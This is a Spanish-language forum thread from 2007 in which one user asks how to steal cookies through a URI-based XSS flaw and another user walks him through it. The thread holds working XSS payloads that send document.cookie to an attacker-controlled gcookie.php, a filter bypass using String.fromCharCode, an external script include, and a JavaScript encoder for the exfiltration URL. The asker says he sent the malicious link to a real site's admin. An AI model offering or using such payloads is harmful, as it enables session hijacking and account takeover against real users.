[?] Duda XSS

Iniciado por -sagitari-, 29 Septiembre 2007, 12:51 PM

0 Miembros y 2 Visitantes están viendo este tema.

-sagitari-

me borraron el anterior post donde pregunté esto.. fui a mirar las normas y lo único que incumplía era el no haber puesto el tag de duda "[?]" en el título así que vuelvo a preguntar:

en una web vulnerable de esta forma, "XSS in URI":

http://www.web.com/index.php/>"><script>alert(document.cookie)</script>

de esa manera aparece un alert diciendo la cookie
entonces, es vulnerable pero si pongo un alert diciendo hola por ejemplo, no funciona

http://www.web.com/index.php/>"><script>alert('hola')</script>

entonces,
si intento robar la cookie de esta manera:

http://www.web.com/index.php/>"><script>window.location='http://miweb.com/gcookie.php?c='+document.cookie;</script>


No funciona, no se guarda la cookie ni sucede nada.

entonces , ésto porqué es ? ... y cómo puedo hacer para poder robar la cookie..
gracias.

yeikos

Examina el código fuente de la página Web una vez inyectado el código para verificar que éste sea correcto. Aunque en tu caso supongo que será por que las comillas simples se encuentran filtradas, y bien desaparecen cuando se inyectan, o una contra barra pasa a formar parte de la comillas simples para que ésta escape \'.

Prueba a utilizar comillas dobles a ver si sucede lo mismo, y si no, haz una inclusión del código JS a ejecutar:

Código (html4strict) [Seleccionar]
<script src=http://miweb.com/script.js></script>

También puedes utilizar el método del objeto String, fromCharCode... He aquí un ejemplo:

Código (html4strict) [Seleccionar]
<script>alert(String.fromCharCode(65,66,67))</script>

-sagitari-

#2
a ver, te comento:

>"><script>alert(String.fromCharCode(65,66,67))</script>

si , ésto sí funciona, sale el alert diciendo "ABC" o por ejemplo de esta manera;

http://www.web.com/index.php/>"><script>alert(String.fromCharCode(72,65,67,75,69,68))</script>
sale "hacked"

ok, pero entonces, cómo transformo todo esto:

>"><script>window.location='http://miweb.com/gcookie.php?c='+document.cookie;</script>

a String.fromCharCode ?

-

y otra pregunta, yo javascript no sé, qué línea de código era la que tenía que llevar el archivo "script.js" ?

porque lo he buscado buscando en tutoriales XSS pero nada
y no me acuerdo qué línea de código era la que hacía que se abriera el archivo y tal...


bueno, espero tu respuesta, gracias de nuevo !

yeikos

Debes transformar la cadena que se encuentra entre comillas simples a ASCII para usarla con el método que te mencioné...

Citar>"><script>window.location=String.fromCharCode(X)+escape(document.cookie);</script>

Donde X ha de ir la página Web junto a la variable que recogerá la cookie, escrita carácter a carácter en ASCII, separado cada uno por una coma.

PD: La función escape se utiliza para escapar los saltos de línea, así evitaremos posibles perdidas por parte de la cookie.

-sagitari-

ah yo transformaba todo , hasta lo de "window.location" xD
ahora probaré, gracias !

yeikos

Quizás esto te pueda ayudar...

Código (javascript) [Seleccionar]
<script>

var url = "http://miweb.com/gcookie.php?c=";

function str2asc (str) {
var temp = '';
for (i=0;i<str.length;i++) {
temp += str.charCodeAt(i);
if (i!=str.length-1) { temp += ','; }
}

return temp;
}

document.write("window.location=String.fromCharCode("+str2asc(url)+")+escape(document.cookie);");

</script>

-sagitari-

si gracias ya hice todo
pero le pasé la   url maligna y parece que no he tenido suerte de que el admin no está logeado siempre con eso de "recordarme en este equipo"  .....